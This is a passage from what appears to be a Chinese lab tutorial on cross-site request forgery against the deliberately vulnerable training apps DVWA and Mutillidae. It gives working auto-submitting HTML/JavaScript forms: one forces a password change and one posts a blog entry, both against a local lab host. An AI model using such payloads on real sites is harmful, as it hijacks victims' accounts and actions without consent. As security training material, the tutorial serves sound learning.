2. 例子还是选择DVWA和Mutillidae ,DVWA 会简单一些。思路很简单,首先使用Burp 查看client 向server 端提交的data 都是什么。
设置DVWA的security level 是low, 首先利用DVWA的不检查user request 来修改用户的密码: 如下面的web page:
点击(此处)折叠或打开
- http://192.168.0.119/dvwa/vulnerabilities/csrf/
点击(此处)折叠或打开
- <form id="csrf-form" action="http://192.168.0.119/dvwa/vulnerabilities/csrf/" method="GET">
- <input type="hidden" autocomplete="off" name="password_new" value="666666">
- <input type="hidden" autocomplete="off" name="password_conf" value="666666">
- <input type="hidden" name="Change" value="Change">
- </form>
- <script>
- document.getElementById('csrf-form').submit();
- </script>
直接在本机打开,就看到了页面提示,用户密码成功修改.
2. Mutillidae 的稍微复杂一些. 如下面的page. (security level 为0)
点击(此处)折叠或打开
- http://192.168.0.119/mutillidae/index.php?page=add-to-your-blog.php
点击(此处)折叠或打开
- csrf-token=SecurityIsDisabled&blog_entry=test&add-to-your-blog-php-submit-button=Save+Blog+Entry
点击(此处)折叠或打开
- <textarea>YOURDATA</text>
- 要么使用javascript来manipulate 这个data.
点击(此处)折叠或打开
- <form id="csrf-form" action="http://192.168.0.119/mutillidae/index.php?page=add-to-your-blog.php" method="POST">
- <input type="hidden" autocomplete="off" name="csrf-token" value="SecurityIsDisabled">
- <textarea id="tt1" type="hidden" autocomplete="off" name="blog_entry"></textarea>
- <input type="hidden" autocomplete="off" name="add-to-your-blog-php-submit-button" value="Save Blog Entry">
- </form>
- <script>
- document.getElementById('tt1').value="This is achieved by CSRF";
- document.getElementById('csrf-form').submit();
- </script>
"This is achieved by CSRF"
3. 这次我没有尝试提升security level到medium (或者1),都是在最低的security level 下完成的。